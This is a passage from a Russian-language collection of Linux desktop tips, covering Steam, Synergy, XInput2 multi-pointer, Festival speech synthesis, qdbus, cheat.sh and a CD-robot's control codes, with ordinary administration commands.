    apt-get послал его куда по дальше, в итоге ошибка и стоп.
    
    Ставим значит руками через aptitude
    
       # aptitude -R install jockey-common zenity xterm libcurl3-gnutls libjpeg-turbo8 \\
          libogg0 libpixman-1-0 libtheora0 libvorbis0a libvorbisenc2 libvorbisfile3 \\
          libasound2 libcairo2 libcups2 libfontconfig1 libfreetype6 libgcrypt11 \\
          libgdk-pixbuf2.0-0 libgtk2.0-0 libnspr4 libnss3 libopenal1 libpango1.0-0 \\
          libpulse0 libxi6 libxinerama1 libxrandr2 libxrender1 libsdl1.2debian
    
       # steam
    
    Вуаля! Рабочий клиент стим в Debian Wheezy, и c версией драйвера NVIDIA 304.64 
    
     
    ----* Подключение нескольких ПК к одной клавиатуре и мыши при помощи Synergy (доп. ссылка 1)   Автор: Роман Сукочев  [обсудить]
     
    В рамках проекта Synergy (http://synergy-foss.org/) подготовлен программный
    KVM-переключатель для использования одной клавиатуры и мыши с несколькими
    компьютерами. В отличии от аппаратных переключателей Synergy поддерживает
    единый буфер обмена для всех объединенных машин.
    
    Ниже, будет приведен пример настройки synergy для двух компьютеров под
    управлением Ubuntu. Главный компьютер, с которого управляются другие
    компьютеры, будет называться ubuntu-server, второй компьютер - ubuntu-client.
    Монитор ubuntu-client, физически, расположен слева от ubuntu-server. Не
    забываем, чтобы все работало, нужно, чтобы компьютеры были подключены к одной сети.
    
    Synergy есть в стандартном репозитории, но там довольно старая версия.
    Пакеты с последней unstable-версией можно загрузить здесь. Устанавливаем
    программу на главном и подключаемых компьютерах.
    
       sudo apt-get install synergy
    
    Настройка главного компьютера
    
    Настраивается все довольно просто.
    1. На компьютере, который будет главным, создаете файл в домашнем каталоге файл .synergy.conf:
    
       section: screens
          Ubuntu-server:
          Ubuntu-client:
       end
       section: links
          ubuntu-server:
            left = ubuntu-client
          ubuntu-client:
            right = ubuntu-server
       end
    
    В первой секции 'screens' указаны IP или имена хостов для компьютеров,
    завязанных для работы в synergy.
    Во второй секции 'links' указано отношение компьютера к соседним компьютерам
    (какой находится слева, справа, снизу и сверху)
    
    2. Добавляем запуск synergys в автозагрузку, добавив команду 'synergys' в
    'Система'->'Параметры'->'Запускаемые приложения'. Или 'synergys -c <путь к
    конфигу>', если вы хотите использовать другой файл конфигурации для запуска synergy.
    
    
    Настройка подключаемого компьютера
    
    1. На подключаемом компьютере, добавляем запуск synergyc в автозагрузку,
    добавив команду 'synergyc ubuntu-server' в 'Система'->'Параметры'->'Запускаемые приложения'.
    
    Все. Теперь перезагружаем компьютеры и видим, что поднеся курсор мыши к левой
    границе экрана монитора главного компьютера, курсор перескакивает на экран
    подключенного компьютера и мы можем, мышкой и клавиатурой главного компьютера,
    управлять подключенным.
    
    
    QuickSynergy
    
    Для тех, кто не любит работать с файлами конфигурации вручную, в  репозитории
    Ubuntu есть утилита quicksynergy, которая позволит Вам настроить Synergy в два
    клика :)
    
    1. Скачиваем quicksynergy:
    
       sudo apt-get install quicksynergy
    
    2. Если ранее поставлена unstable-версия synergy с сайта проекта, то
    устанавливаем, игнорируя зависимости:
    
       sudo apt-get install -d quicksynergy
       cd /var/cache/apt/archives/
       sudo dpkg --ignore-depends=synergy -i quicksynergy*.deb
    
    Зависимости мы игнорировали для того, чтобы программа не подтянула с собой
    старый пакет synergy из репозитория, который заменил бы собой, свежий synergy-plus.
    
    3. Запускаем программу 'Приложения'-->'Стандартные'-->'QuickSynergy' и
    настраиваем synergy в пару кликов.
    
    Другие GUI-утилиты для Synergy: QSynergy, Sinerji и другие.
    
     
    ----* Русификация Linux-версии игры "Amnesia: The Dark Descent" (доп. ссылка 1)   Автор: Zenitur  [комментарии]
     
    Как установить "Amnesia: The Dark Descent", ведь ни у одной игры в переводе 1С,
    кроме, разве что StarCraft II, на установочном диске нет бинарников для систем,
    отличных от Windows.
    
    Существует две ситуации:
    
    1. У вас есть оригинальная английская версия игры "Amnesia: The Dark Descent",
    которую вы заказали в Интернете, получили серийный номер и скачали.
    
    2. У вас официальный диск игры в переводе 1С (Snowball - это то же самое).
    
    
    В первом случае вам необходимо сделать так:
    
    1. Взять из Windows-версии шрифты меню: скопировать каталог rus в каталог fonts игры.
    
    2. Субтитры, в свою очередь, в ./config и ./config/lang_main
    
    3. Озвучки (каталог rus) - в ./lang
    
    4. В меню запуска игры можно будет выбрать русский язык.
    
    
    Во втором случае нужно:
    
    1. Скопировать или перенести (или сделать символическую ссылку) игру в
    Linux-раздел (или в раздел VFAT в крайнем случае) - для того, чтобы можно было
    сделать файлы игры исполняемыми.
    
    2. Загружаем себе бинарники и библиотеки Linux-версии игры и распаковываем их в
    каталог с игрой. Ссылка здесь: http://rghost.net/2664032
    
     
    ----* Организация регулярно выскакивающих напоминаний в Debian   Автор: Сергей Пушкин  [комментарии]
     
    Допустим, необходимо чтобы в рабочее время каждый час на экран выскакивало
    окошко с напоминанием сделать разминку.
    
    Как это сделать?
    
    1. Убеждаемся что установлен пакет zenity, отображающий различные сообщения
    через GTK+ (он входит в зависимости gnome-desktop-environment, но все же ...)
    
       sudo aptitude install zenity
    
    2. Добавляем в crontab строчку, вызывающую желаемое напоминание с проверкой на
    наличие незакрытого предыдущего:
    
        crontab -e
    
    добавляем:
    
       0 10-16 * * * ps -A |grep gdialog || env DISPLAY=:0 
         LANG=ru_RU.UTF-8 gdialog --title "Напоминание" --infobox "Разминка\!\!\!\n`LANG=ru_RU.UTF-8 date`"
    
    
    3. Получаем желаемый результат каждую 0 минуту с 10 до 16 часов.
    
     
    ----* Одновременное использование двух мышей на одном экране в X.Org (доп. ссылка 1)   [комментарии]
     
    Несколько дней назад в Debian unstable был добавлен пакет с Xorg 7.5, в котором
    появилась поддержка подсистемы XInput2, позволяющей одновременно задействовать
    на одном экране несколько устройств ввода.
    Ниже показано как обеспечить работу в  X.Org двух манипуляторов мышь, которыми
    можно управлять взяв их в правую и левую руки.
    
    Подключаем вторую мышь (Topro) к ПК и смотрим список доступных устройств ввода:
    
       $ xinput list
       
       Virtual core pointer                  id=2 [master pointer  (3)]
          Virtual core XTEST pointer         id=4 [slave  pointer  (2)]
          "Logitech USB-PS/2 Optical Mouse"  id=10 [slave  pointer  (2)]
          "Topro USB Mouse"                  id=12 [slave  pointer  (2)]
       Virtual core keyboard                 id=3 [master keyboard (2)]
       ...
    
    "Topro USB Mouse" будем использовать левой рукой, а мышь Logitech - правой.
    
    Создаем дополнительное первичное устройство ввода 
    
       $ xinput create-master Auxiliary
    
    Вновь смотрим список устройств:
     
       $ xinput list
       ...  
       Auxiliary pointer           id=13   [master pointer  (14)]
          Auxiliary XTEST pointer  id=15   [slave  pointer  (13)]
          Auxiliary keyboard       id=14   [master keyboard (13)]
          Auxiliary XTEST keyboard id=16   [slave  keyboard (14)]
    
    Переводим мышь Topro (id 12) в категорию Auxiliary:
    
       $ xinput reattach 12 "Auxiliary pointer"
    
    Смотрим, что получилось:
    
       $ xinput list
    
    Мышь Logitech осталась в блоке "Virtual core pointer", а Topro появилась в "Auxiliary pointer".
    
    Теперь два указателя мыши перемещаются по экрану отдельно.
    
    Но для удобства управления поменяем маппинг кнопок для мыши Topro (id 12),
    которую будем держать в левой руке:
    
       $ xinput set-button-map 12 3 2 1
    
    Чтобы видеть какой указатель соответствует каждой мыши поменяем оформление курсора:
    
       $ sudo aptitude install git-core
       $ git clone git://git.ao2.it/xicursorset.git
       $ cd xicursorset
       $ sudo aptitude install libxi-dev libxcursor-dev
       $ make
    
    Меняем курсор для левой мыши (Auxiliary pointer, id 13):
    
       $ ./xicursorset 13 right_ptr redglass
    
    и для правой (Virtual core pointer, id=2):
    
       $ ./xicursorset 2 left_ptr whiteglass
    
    Для тестирования установим приложение vinput, поддерживающие multi-pointer (MPX) режим работы:
    
       $ git clone git://gitorious.org/vinput/vinput.git
       $ cd vinput/demo
       $ gcc -o demo-paint demo-paint.c `pkg-config --cflags --libs xi`
       $ ./demo-paint
    
    В настоящее время MPX не поддерживается в Gtk+ и соответственно не получится
    рисовать одновременно двумя мышами в GIMP или Inkscape, но можно одной мышью
    выбирать инструменты или элементы меню, а другой рисовать. Ситуация изменится с
    выходом Gtk+3. Также перетаскивание одновременно двух окон еще не работает в
    оконном менеджере Metacity, но иконки перетаскивать одновременно в Nautilus с
    перемещением окна в Metacity уже можно. Qt поддерживает мултитач начиная с
    версии 4.6
    
     
    ----* Настройка синтеза речи в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Простой рецепт по установке и использованию синтезатора речи Festival в Ubuntu:
    
    Устанавливаем festival и сопутствующие утилиты:
    
       sudo apt-get install festival speech-tools
    
    Cтавим пакет с голосом, которые занимает 186 Мб. 
    В репозитории universe Ubuntu 9.10 уже есть готовый пакет festvox-ru:
    
       sudo apt-get install festvox-ru
    
    Если используется Ubuntu 9.04 в /etc/apt/sources.list добавляем:
       deb http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
       deb-src http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
    
    Ставим:
    
       sudo apt-get install festvox-ru
    
    В остальных дистрибутива можно установить/распаковать deb-пакет с голосом из Ubuntu 9.10:
    
       sudo wget http://ubuntu.mirrors.tds.net/ubuntu/pool/universe/f/festvox-ru/festvox-ru_0.5-1_all.deb
       sudo dpkg --install festvox-ru_0.5-1_all.deb
    
    Проверяем (русский текст воспринимается только в кодировке UTF-8):
    
       festival
    
       >(SayText "Hello!")
    
    Активируем русский голос
    
       >(voice_msu_ru_nsh_clunits)
    
    Произносим русский текст:
    
       >(SayText "Привет!")
       >(exit)
    
    Читаем содержимое файла:
    
       festival -b '(begin (voice_msu_ru_nsh_clunits) (tts_file "./file.txt"))'
    
    Сохранить результат в файл:
    
       text2wave -eval '(voice_msu_ru_nsh_clunits)' ./file.txt -o ./file.wav
    
    Чтобы заработало:
    
       cat file.txt | festival --tts --language russian
    или
       festival --tts --language russian file.txt
    
    Нужно в файл /usr/share/festival/languages.scm перед строкой "(define
    (select_language language)" добавить (по аналогии с другими языками):
    
       (define (language_russian)
       "(language_russian)
       Set up language parameters for Russian"
          (set! male1 voice_msu_ru_nsh_clunits)
          (male1)
          (Parameter.set `Language `russian)
       )
    
    В блок "(define (select_language language)" добавляем:
    
       ((equal? language `russian)
       (language_russian))
    
     
    ----* Выделение непрочитанных табов в Firefox (доп. ссылка 1)   [комментарии]
     
    В  Firefox можно настроить выделение табов ни разу не прочитанных пользователем.
    Для этого в директории ~/.mozilla/firefox/*.default/chrome/ нужно переименовать 
    файл userChrome-example.css в userChrome.css, добавив в:
    
       #content tab:not([selected]) {font-style: italic !important; }
    
    После этого текст в заголовке всех непрочитанных табов будет выделяться курсивом.
    
     
    ----* psi: контакт-лист и сообщения в одном окне (доп. ссылка 1)   Автор: Соколов Алексей  [комментарии]
     
    Jabber-клиент psi может выглядеть как tkabber (список контактов и сообщения в одном окне).
    Для пользователей FreeBSD шаги будут выглядеть следующим образом:
    
       cd /usr/ports/net-im/psi && make extract
       cd work/psi-0.12
       fetch http://psi-dev.googlecode.com/svn/trunk/patches/psi-all_in_one_window.patch
       cat psi-all_in_one_window.patch | patch -p1
       cd ../../ && make install clean
    
     
    ----* Управление десктоп приложениями из shell при помощи D-Bus (доп. ссылка 1)   [комментарии]
     
    В качестве консольной утилиты для работы с D-Bus можно использовать "qdbus" из состава Qt4.
    
    При выполнении без аргументов, утилита qdbus выведет список активных  шин:
    
       qdbus
    
       org.freedesktop.ScreenSaver
       org.freedesktop.Notifications
       org.freedesktop.PowerManagement
       org.freedesktop.DBus
    
    Отобразим список объектов для шины ScreenSaver:
    
       qdbus org.freedesktop.ScreenSaver
    
       /
       /App
       /Interface
       /KBookmarkManager
       /KBookmarkManager/konqueror
       /KDebug
       /MainApplication
       /ManagerIface_contact
       /ScreenSaver
    
    Просмотрим методы объекта "/ScreenSaver":
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver
    
       signal void org.freedesktop.ScreenSaver.ActiveChanged(bool)
       method bool org.freedesktop.ScreenSaver.GetActive()
       method uint org.freedesktop.ScreenSaver.GetActiveTime()
       method bool org.freedesktop.ScreenSaver.SetActive(bool e)
       method void org.freedesktop.ScreenSaver.Lock()
       method uint org.freedesktop.ScreenSaver.Inhibit(QString application_name, QString reason_for_inhibit)
       ...
    
    Посмотрим значение текущего счетчика времени неактивности, после которого 
    активируется хранитель экрана. Просмотрим текущее значение:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.GetSessionIdleTime
    
       0
    
    С момента последнего нажатия клавиши прошло 0 сек. Попробуем ничего не нажимать:
    
       sleep 5 ; qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.GetSessionIdleTime
    
       4
    
    Попробуем активировать хранитель экрана через метод org.freedesktop.ScreenSaver.SetActive:
     
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True
    
       true  
    
    Блокируем экран:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.Lock
    
    В случае когда нужно предотвратить запуск хранителя экрана, например, во время
    просмотра видео, можно использовать:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver \
          org.freedesktop.ScreenSaver.Inhibit "$$" "Testing D-Bus Interface"
    
       5822
    
    где, "$$" - имя приложения запретившего активацию хранителя экрана, 
    в нашем случае это PID текущего shell (5822).
    второй аргумент - причина сдерживания хранителя экрана.
    
    После того как хранитель экрана можно опять активировать, выполняем:
    
       qdbus org.freedesktop.ScreenSaver /ScreenSaver \
         org.freedesktop.ScreenSaver.UnInhibit 5822
    
    
    Другие примеры.
    Просмотрим список заметок из Tomboy.
    
       qdbus org.gnome.Tomboy /org/gnome/Tomboy/RemoteControl org.gnome.Tomboy.RemoteControl.ListAllNotes
    
       note://tomboy/5e900d91-bd77-4f41-89d8-e71baaafd364
       note://tomboy/f647c681-b1b9-4eca-bdab-fd4b04cb37f6
    
    Отобразим содержимое одной из них:
    
       qdbus org.gnome.Tomboy /org/gnome/Tomboy/RemoteControl \
         org.gnome.Tomboy.RemoteControl.GetNoteContents note://tomboy/5e900d91-bd77-4f41-89d8-e71baaafd364
    
     
    ----* Зачем и как удалить beagle из OpenSUSE   Автор: unknown  [комментарии]
     
    После установки OpenSuse 10.3 или 11 внимательный пользователь может заметить, 
    что установленный по умолчанию beagle (приложение для организации поиска на десктопе, 
    написанное на C# и использующее Mono:
    
    1) Потребляет ресурсы CPU (beagled), (powertop: несет ответственность за ~10% cpu wakeups, 
    что уменьшает время проводимое процессором в sleep режиме).
    
    2) Создает несанкционированный пользователем дубль его личных данных (таковы
    установки по умолчанию)
    
    3) Постепенно забивает все больше и больше места на диске под свою базу.
    
    Удалить beagle вместе со всеми плагинами к другим программам, можно  1-2 командами:
    
       rpm -ev  `rpm -qa | grep beagle | grep -v libbeagle` `rpm -qa | grep kerry`
       rm -rf /var/cache/beagle/
       killall beagled
    
     
    ----* Консольные аналоги GUI конфигураторам в Ubuntu (доп. ссылка 1)   [комментарии]
     

    Управление пакетами и программами:

    • GUI: Synaptic Package Manager, Gdebi (Package Installer), Adept, Update Manager.
    • CLI: dpkg, apt, aptitude
    • GUI: software-properties-gtk (Software Sources)
    • CLI: apt-cdrom, apt-key, прямое редактирование /etc/apt/sources.list
    • GUI: gtkorphan
    • CLI: deborphan

    Настройка Gnome:

    • GUI: Ubuntu-tweak, gtweakui, Nautilus Actions, gconf-editor
    • CLI: GConf; gconftool.

    Менеджеры закачек:

    • GUI: d4x (Download for X), wxDownload Fast, MultiGet, FileZilla, Deluge, Transmission
    • CLI: wget, lftp, bittorrent CLI client

    Настройка сети:

    • GUI: Network Manager, Network Tools, Network Manager Applet.
    • CLI: ifconfig, route, pppoeconf, ручная правка /etc/network

    Настройка Dial-up:

    • GUI: Gnome-PPP, kppp.
    • CLI: pppconfig, wvdial

    Настройка пакетного фильтра:

    • GUI: Firestarter, Firhol, Gnome-lokkit
    • CLI: iptables, ufw, lokkit CLI front-end.

    Удаленное управление:

    • GUI: Vinage (Remote Desktop Viewer), VNCviewer, tsclient (Terminal Server Client)
    • CLI: протоколы VNC, RDP, SSH и Telnet; CLI клиенты: putty-tools, rdesktop, openSSH client

    Текстовые редакторы:

    • GUI: Gedit (Text Editor), Mousepad
    • CLI: nano, vim

    Архиваторы:

    • GUI: file-roller (Archive Manager)
    • CLI: tar, bzip2, zip, rar, p7zip

    Управление дисковыми разделами:

    • GUI: Gparted (Partition Editor)
    • CLI: Parted

    Визуальные эффекты на десктопе:

    • GUI: Compiz Settings Manager, Simple CCSM, fusion-icon (Compiz-Fusion Icon).
    • CLI: прямое редактирование файлов конфигурации compiz, xserver-xorg

    Информация об оборудовании:

    • GUI: Hardinfo, Sysinfo
    • CLI: lshw, cpuid, facter

    Мультимедиа:

    • GUI: Avidemux, kino, pitivi, LiVES
    • CLI: mjpegtools, mencoder, transcode, x264

    Преобразование звуковых файлов:

    • GUI: SoundConverter, oggconvert, aacplusenc
    • CLI: lame, sox, faac, flac, vorbis-tools.

    Антивирусные пакеты:

    • GUI: ClamTK
    • CLI: ClamAV

    Настройка шрифтов:

    • GUI: fontmatrix, FontyPyhton
    • CLI: defoma, fontconfig

    Системное администрирование:

    • GUI: Startup Manager
    • CLI: usplash
    • GUI: bum (Boot-Up Manager)
    • CLI: sysv-rc-conf
    • GUI: DisplayConfig-gtk, Gnome Control-Center
    • CLI: редактирование xorg.conf
    • GUI: System Monitor
    • CLI: HTop
    • GUI: QGRUBEditor
    • CLI: GRUB boot loader
    • GUI: gmountsio (mount CD/DVD iso images)
    • CLI: mount -o loop -t iso9660
    • GUI: gksu
    • CLI: su, sudo
     
    ----* Средства дружественной пользователю настройки различных систем в Linux   [комментарии]
     Ниже список графических и консольных утилит, для настройки системы неподготовленным пользователем через меню, без ручной правки файлов конфигурации.
  • xf86cfg, XFdrake (из drakxtools), Xconfigurator - настройка параметров X Window (видеокарта, монитор, устройства ввода);
  • alsaconf, sndconfig - настройка звуковой карты;
  • cupsdconf, printtool, printerdrake, scannerdrake - настройка системы печати;
  • ntsysv, tksysv, sysvconfig, sysv-rc-conf - настройка начальной загрузки сервисов;
  • cfdisk (консольная), diskdrake (консольная), qtparted - работа с разделами диска (fdisk);
  • lde - linux disk editor, низкоуровневый редактор диска;
  • nvidia-settings - GUI конфигуратор видеокарт NVidea;
  • winecfg - настройка параметров эмулятора windows wine;
  • gdmsetup, gdmphotosetup - настройка экрана входа в систему;
  • powertweak - тюнинг производительности системы (CPU, PCI);
  • sensors-detect - поиск подходящего модуля ядра для lm_sensors;
  • testdisk - проверка и восстановление разделов и ФС.
  • toshutils-x11, vaio-tools - GUI настройки для ноутбуков Toshiba и Sony (управление питанием, настройка монитора и клавиш);
  • aptitude (консольная apt), synaptic (apt), gnorpm, kpackage, rpmdrake - управление пакетами (APT);
  • keyboarddrake, kbdconfig, mousedrake, mouseconfig - настройка клавиатуры и мыши;
  • netcfg, netconfig, draknet, adsl-setup - настройка сети;
  • drakfont,fc-list, xlsfonts, xfontsel, kcharselect, gfontsel и chkfontpath - установка и проверка шрифтов;
  • guarddog - GUI для настройки фаервола;
  • userdrake - манипулирование аккаунтами пользователей;
  • kwuftpd - настройка прав пользователей для FTP сервера wuftpd;
  • menudrake, update-menus - обновление/перестроение меню;
  • kudzu, usbview, lsusb, lspci - просмотр информации об оборудовании;
  • Alterator (пока только в AltLinux Sisyphus), kcontrol, drakconf, drakxconf (drakxtools), base-config, linuxconf, gnome-linuxconf, webmin - общие системы конфигурирования;
  • swat - web интерфейс для конфигурирования samba.
  • wvdialconf, pppconfig, gnome-ppp, kppp - GUI для настройки диалап доступа;
  • gadmintools - набор GUI интерфейсов GTK+ для настройки сетевых сервисов (DNS, DHCP, FTP, Samba, Apache, Squid).
  • Средства для настройки Wifi:

    Продолжение и расширение списка приветствуется в комментариях.

  •  
    ----* Пример математических операций в shell используя bc (доп. ссылка 1)   [комментарии]
     
      echo "(321-123)/123" | bc -l
      echo "framing=20; minsize=64; (100*10^6)/((framing+minsize)*8)" | bc
    
    Рисование графика
      echo "framing=20; plot [64:1518] (100*10* *6)/((framing+x)*8)" | gnuplot -persist
    
    Преобразование из десятичного в шестнадцатеричный вид
      echo "obase=16;ibase=10;123" | bc
    
     
    ----* Как в bc выводить не округленный до целого числа результат.   [комментарии]
     
    scale=N   где, N - число цифр после запятой. 
    
     
    ----* Как найти нужное системное руководство (man)   [обсудить]
     
    "apropos ключевое_слово" или "man -k ключевое слово". Функцию perl можно найти
    по "perldoc -f имя", раздел faq - "perldoc -q слово".
    
     
    ----* Просмотр подсказок/шпаргалок по командам UNIX/Linux в командной строке (доп. ссылка 1)   Автор: igor_chubin  [комментарии]
     
    Просмотр подсказок/шпаргалок (cheat sheets) по командам UNIX/Linux в командной строке
    без использования специального программного обеспечения.
    
    Например, для того чтобы посмотреть наиболее важные ключи команды curl
    и наиболее интересные командные строки, построенные на её основе:
    
        $ curl cheat.sh/curl
    
    Вся (или большинство) этой информации есть и в curl(1) (man curl),
    но шпаргалка удобна тем, что содержит наиболее важные, наиболее популярные
    или наиболее интересные аспекты использования команды.
    
    Существует несколько известных программ-шпаргалок для командной строки.
    Самые известные из них это cheat и tldr.
    
    Сервис cheat.sh отличается от них тем, что он не требует инсталляции дополнительных программ,
    и не требует вообще никаких предварительных действий:
    не нужно ничего инсталлировать, ни искать ничего в поисковых системах, ни даже открывать браузер.
    Поиск осуществляется прямо там, где потом используется информация - в
    командной строке. Код сервиса открыт под лицензией MIT.
    
    Сервис предоставляет доступ к нескольким популярным репозиториям
    краткой справочной информации:
    
    
  • cheat.sheets (собственный репозиторий cheat.sh);
  • tldr;
  • cheat. Все эти репозитории очень популярны и постоянно развиваются, и множество команд, покрываемых ими, непрерывно растёт и пополняется (сейчас cheat.sh предоставляет доступ к 701 шпаргалке). Если название команды, по которой требуется информация, точно неизвестно, или если таких команд множество, то можно воспользоваться поиском. Поиск включается тильдой, за которой идёт поисковый запрос: curl cheat.sh/~snapshot В данном случае будут найдены и показаны все примеры работы со снапшотами в UNIX/Linux: LVM, ZFS, btrfs и так далее. Поиск можно осуществлять и в пределах одной страниц. Удобно, если информации на странице много, а вас интересует какая-то определённая: curl cheat.sh/azure~list Поиск может сопровождаться дополнительными опциями:
  • r рекурсия
  • b часть слова
  • i без учёта регистра которые указываются после закрывающего слэша: curl cheat.sh/curl~post/i Для поддержки tab-completion в bash: mkdir ~/.bash.d/ curl cheat.sh/:bash_completion > ~/.bash.d/cheat.sh . ~/.bash.d/cheat.sh # и добавить эту же строку в ~/.bashrc В репозитории есть не только подсказки по командам UNIX/Linux и их опциям, но и по различным языкам программирования. curl cheat.sh/rust/hello curl cheat.sh/rust/~function Добавление новых подсказок и редактирование существующих можно осуществлять одним из трёх способов:
  • если страница с подсказкой взята из внешнего репозитория, её нужно редактировать там. в HTML-версии странцы в браузере источник страницы указан с помощью кнопки на github'е;
  • если страница взята из собственного репозитория cheat.sh, её нужно редактировать в репозитории cheat.sheets; для этого на странице нужно нажать на кнопку edit;
  • новые страницы можно добавить прямо из командной строки с помощью curl (подробности в "curl cheat.sh/:post").
  •  

       Работа с электронной почтой:

       CD, CD-R, DVD, AudioCD

    ----* Работа в Linux с автоматом записи и печати на DVD/CD дисках Primera Bravo XRP   Автор: barmaley  [комментарии]
     
    Аппарат Primera Bravo XRP позволяет автоматизировать запись данных и печать
    маркировки на CD-диски, максимальная емкость 50 + 50 дисков.
    
    Подключается это устройство через USB.
    
    В системе появляются три устройства (через внутренний usn hub), два cdrw и lp:
    
       usb 2-2: new high-speed USB device number 62 using ehci_hcd
       usb 2-2: New USB device found, idVendor=04b4, idProduct=6560
       usb 2-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0
       hub 2-2:1.0: USB hub found
       hub 2-2:1.0: 4 ports detected
       usb 2-2.1: new full-speed USB device number 63 using ehci_hcd
       usb 2-2.1: New USB device found, idVendor=0f25, idProduct=0012
       usb 2-2.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
       usb 2-2.1: Product: CD/DVD
       usb 2-2.1: Manufacturer: Primera
       usb 2-2.1: SerialNumber: 1000001
       usblp0: USB Bidirectional printer dev 63 if 0 alt 0 proto 2 vid 0x0F25 pid 0x0012
       usb 2-2.3: new high-speed USB device number 64 using ehci_hcd
       usb 2-2.3: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.3: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.3: Product: USB to SATA Bridge
       usb 2-2.3: Manufacturer: TSI
       usb 2-2.3: SerialNumber: TSI08102925ad
       scsi10 : usb-storage 2-2.3:1.0
       usb 2-2.4: new high-speed USB device number 65 using ehci_hcd
       usb 2-2.4: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.4: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.4: Product: USB to SATA Bridge
       usb 2-2.4: Manufacturer: TSI
       usb 2-2.4: SerialNumber: TSI081029002d
       scsi11 : usb-storage 2-2.4:1.0
       scsi 10:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 10:0:0:0: Attached scsi CD-ROM sr0
       sr 10:0:0:0: Attached scsi generic sg1 type 5
       scsi 11:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr1: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 11:0:0:0: Attached scsi CD-ROM sr1
       sr 11:0:0:0: Attached scsi generic sg2 type 5
    
    
    На сайте производителя есть драйверы для Linux, но они работают только с
    принтером (печать этикеток для CD).
    Модель встроенного принтера, очень похоже, Lexmark Z80.
    Работа с роботом-автоматом производится путем посылки бинарного пакета в порт
    принтера (/dev/usb/lp0)
    Пакет состоит из 8 байт:
    
       заголовок [0x1B, 0x04], команда [byte], резерв [0x00, 0x00, 0x00, 0x00], сумма 7 байт [byte]
    
    Так же, на сайте производителя, указано что, если вы хотите получить все
    hex-коды, необходимо подписать Non-disclosure Agreement (NDA).
    Но можно и не подписывать, основные необходимые дествия уже расписаны
    пользователем davidef для модели Primera Bravo II.
    
    Состояние устройства можно получить через чтение порта принтера.
    Вы получите две строки (последняя постоянно повторяется циклически с изменениями):
    
       binary data 1, 0x0D
       binary data 2, 0x0D
    
    Я же подведу итог:
    
    Манипуляции с cdrw производятся как обычно через eject и cdrecord ;)
    
    Описание команд робота, на которые я получил хоть какую то реакцию:
    
       05 - сброс устройства, пауза ~30 сек
       80 - взять с левого лотка, положить на верхний CD
       81 - взять с левого лотка, положить на принтер
       82 - взять с левого лотка, положить на правый лоток
       83 - взять с правого лотка, положить на верхний CD
       84 - взять с правого лотка, положить на принтер
       85 - взять с правого лотка, положить на левый лоток
       86 - взять с верхнего CD положить на принтер
       87 - взять с верхнего CD положить направо
       88 - взять с верхнего CD положить налево
       89 - взять с верхнего CD положить вниз (нижний CD либо наружу) !!    не забудьте закрыть верхний CD !!
       8A - взять с принтера положить направо
       8B - взять с принтера положить налево
       8С - взять с принтера положить на нижний CD (либо выбросит наружу)
       8D - ?
       8E - каретка в центр (пауза ~10 сек, возврат)
       8F - каретка в центр (пауза ~10 сек, возврат)
       90 - каретка влево (пауза ~10 сек, возврат)
       91 - каретка в центр (пауза ~10 сек, возврат)
       92 - взять диск (с последней позиции)/положить диск
       93 - открыть принтер
       94 - закрыть принтер
       95 - каретка налево, картриджы направо, индикаторы перемигиваются, ждет какой то команды, если неверная команда происходит reset (пауза ~30 сек)
       96 - каретка налево, картриджы направо, индикаторы постоянны
       97 - возврат из 96 в исходное
       98 - взять с принтера положить на верхний CD (либо выбросит наружу)
       99 - проверяет диски в обеих лотках (слева и справа)
       9A - взять слева ?
       9B - опускает каретку с диском на 1 см, таймаут 10сек, поднимает в  исходное
       9С - каретка направо, картрижды налево, каретка вниз до упора и устройство выключается
       9D - взять слева, положить на нижний CD
       9E - взять справа, положить на нижний CD
       9F - взять с нижнего CD положить на принтер
       A0 - взять с нижнего CD положить направо
       A1 - взять с нижнего CD положить налево
       A2 - взять с нижнего CD, каретка вверх, положить на нижний CD (либо выбросит наружу)
       A3 - каретка в центр (пауза ~10 сек, возврат)
       A4 - взять слева, положить на верхний CD, взять еще один диск слева
       A5 - взять справа, положить на верхний CD, взять еще один диск    слева
       A6 - взять слева, положить на нижний CD, взять еще один диск слева
       A7 - взять справа, положить на нижний CD, взять еще один диск слева
       A8 - взять с принтера положить на нижний CD (либо выбросит наружу), аналогично 8C
       A9 - каретка в центр (пауза ~10 сек, возврат)
    
    Этого вполне достаточно для автоматизации процесса, любым скриптовым языком.
    
    Состояние устройства:
    
       binary data 1:
    
    65 байт - состояние устройства, 0x43 (открыта крышка), 0x42 (робот в процессе
    манипуляций), 0x49 (в готовности, обычное состояние)
    
       binary data 2:
    
    62 байт - количество дисков в правом лотке, после команды 99
    63 байт - количество дисков в левом лотке, после команды 99
    
     
    ----* Создание виртуального CD/DVD накопителя в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Устанавливаем CDemu (http://cdemu.sourceforge.net/)
    
    Подключаем дополнительные репозитории, в /etc/apt/sources.list прописываем:
    для Ubuntu 8.04
       deb http://ppa.launchpad.net/cdemu/ubuntu hardy main
    для Ubuntu 8.10 
       deb http://ppa.launchpad.net/cdemu/ubuntu intrepid main
    
    Для других дистрибутивов готовые пакеты можно загрузить с сайта http://sourceforge.net/projects/cdemu/
    
    Устанавливаем:
    
       sudo apt-get update
       sudo apt-get install cdemu-daemon cdemu-client
    
